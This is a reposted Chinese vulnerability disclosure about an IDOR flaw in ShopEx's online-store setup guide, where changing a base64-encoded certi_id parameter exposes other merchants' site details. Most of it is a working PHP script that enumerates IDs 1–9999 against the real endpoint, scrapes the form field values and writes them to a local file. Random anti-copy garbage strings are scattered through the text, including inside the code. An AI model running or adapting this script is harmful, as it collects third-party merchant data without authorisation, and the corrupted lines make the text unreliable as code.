ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
# H0 q+ @5 K; \: YShopEx某接口缺陷,可遍历所有网站
详细说明：
5 P! x9 G; f! n% G" K  D# }问题出现在shopex 网店使用向导页面



- O9 m# R0 m$ w# r: R# S# K2 zhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



: e" ^% F9 s. Q5 s5 wrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
8 d1 ?$ l( t% b3 g- T/ ~1 N0 M

) `7 a/ `! S# l& O  ~, ?! P
' u' K2 _5 j% ]" [" `5 v- h9 a& b我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
6 G' ]& s% m- c+ M/ x$ P% G


3 k/ Q; y& N/ U# m6 p- w, Y. ?<?php

2 l- T2 ?" A6 z: f! U5 s                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

                }

                function ShowshopExD($cid) {
! x- P( T1 K. [1 N
                $url='http://guide.ecos.shopex.cn/step2.php';
* E8 v6 e( J5 a- n' _# S7 g$ `
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
8 W% ^/ a8 U" Q6 B3 Q7 W
        $url = $url.'?refer='.$refer;

/ @- {9 ^9 s' j' W7 o1 u# J        $ch = curl_init($url);

! Z  s& u6 W5 U6 \% M: i8 \        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
0 ~0 W7 K9 B9 Y! z1 q+ t; E
7 J  L2 p; Y$ R) `& M2 H9 P2 f        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
  b6 i$ l: G. x6 P5 h
6 r) J& y, \; m5 f! {        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
- Z$ k+ i$ K8 q, F; N- d1 {7 l
. ?( X: F% U, X9 v* v% y) |# w2 }        if(strpos($result,$refer))
3 ~" l* X; b  a
9 B3 X' K. h2 {3 ]" i2 S        {
# |: i- ?6 v8 ]! f3 _
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
0 K" H6 i8 K' t, J: s$ p
' K% i$ ?. ^4 v' Z" G7 \1 x                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

4 h& g$ i* {# l) h: ^0 Q" q0 `7 \                foreach ($value[1] as $key) {

* B  a3 _5 Z) J                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
2 R! m& _/ c+ g3 ]8 S
; r5 ?- ]: H0 Z! E                        echo $res[1][0].':'.$res[3][0]."\r\n";
! h# d7 d. e3 j
- s  S; l6 p8 o% l* e( R                        $col =$res[1][0].':'.$res[3][0]."\r\n";
. L6 x: P- g3 a1 N- p
" `4 F, i. s6 \' G/ D                        fwrite($fp, $col, strlen($col));
/ J  j4 f! H5 D, N- B9 z
( [  A& s( E4 G; U                }

                echo '--------------------------------'."\r\n";
+ i9 _) }9 G; |/ p
                fclose($fp);

        }
+ m; R& `+ R0 p+ l( V0 U' J: O7 E
        flush();

        curl_close($ch);

4 p3 N- R8 |' E3 h' ]$ J4 S( }' [                }

?>
漏洞证明：
, p5 ~( M2 _0 m% k; O2 h- g0 nhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
1 W2 m& I7 c8 \0 D" S* Prefer换成其他加密方式
7 O* M1 d1 q4 l* i) s2 C8 u% B